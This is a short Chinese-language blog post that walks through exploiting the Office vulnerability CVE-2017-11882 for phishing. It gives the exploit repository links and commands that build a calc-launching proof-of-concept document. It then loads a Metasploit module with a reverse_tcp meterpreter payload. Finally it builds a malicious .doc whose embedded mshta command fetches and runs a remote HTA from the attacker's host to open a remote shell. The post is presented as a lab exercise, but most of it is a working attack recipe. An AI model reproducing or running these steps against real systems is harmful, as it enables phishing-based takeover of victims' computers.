钓鱼攻击之:OFFICE CVE-2017-11882

钓鱼攻击之:OFFICE CVE-2017-11882

1 环境准备

  1. EXP地址:GitHub - Ridter/CVE-2017-11882: CVE-2017-11882 from https://github.com/embedi/CVE-2017-11882
  2. MSF 利用EXP地址:GitHub - 0x09AL/CVE-2017-11882-metasploit: This is a Metasploit module which exploits CVE-2017-11882 using the POC released here : https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about.
  3. 影响范围:Office 2003到2016的所有版本
  4. 酝实验环境:office为2013版本

2 利用过程

2.1 生成验证POC

  1. 生成验证测试文件:

    # python2 Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
    [*] Done ! output file --> test.doc
    
  2. 在生成的test.doc上传到目标主机并打开,确认是否弹出计算器

    image-20220829125941513

2.2 CVE-2017-11882利用漏洞

  1. 通过 CVE-2017-11882-metasploit 生成恶意 HTA 文件

    # 将CVE-2017-11882-metasploit文件夹中的文件复制到以下目录
    cp cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/local
    cp cve-2017-11882.rtf /usr/share/metasploit-framework/data/exploits
    
    # 打开 MSF , 重新加载模块
    msfconsole -q
    reload_all
    
    # 确认 cve_2017_11882 模块被正确加载
    search cve_2017_11882
    msf6中exploit/windows/fileformat/office_ms17_11882模块无法正常反弹shell
    导入的exploit/windows/local/cve_2017_11882模块可以正常反弹shell
    
    # 使用用cve_2017_11882模块
    exploit/windows/local/cve_2017_11882
    set payload windows/meterpreter/reverse_tcp
    set uripath pl.hta
    set lhost 192.168.10.119
    set lport 4444
    run -j
    
  2. 生成恶意doc文件

    python2 Command43b_CVE-2017-11882.py -c "mshta http://192.168.10.119:8080/pl.hta" -o rshell.doc
    [*] Done ! output file --> rshell.doc
    
  3. 将恶意doc文件上传到目标服务器并打开,成功上线:

    image-20220831095204623

posted @ 2022-09-01 13:58  f_carey  阅读(156)  评论(0编辑  收藏  举报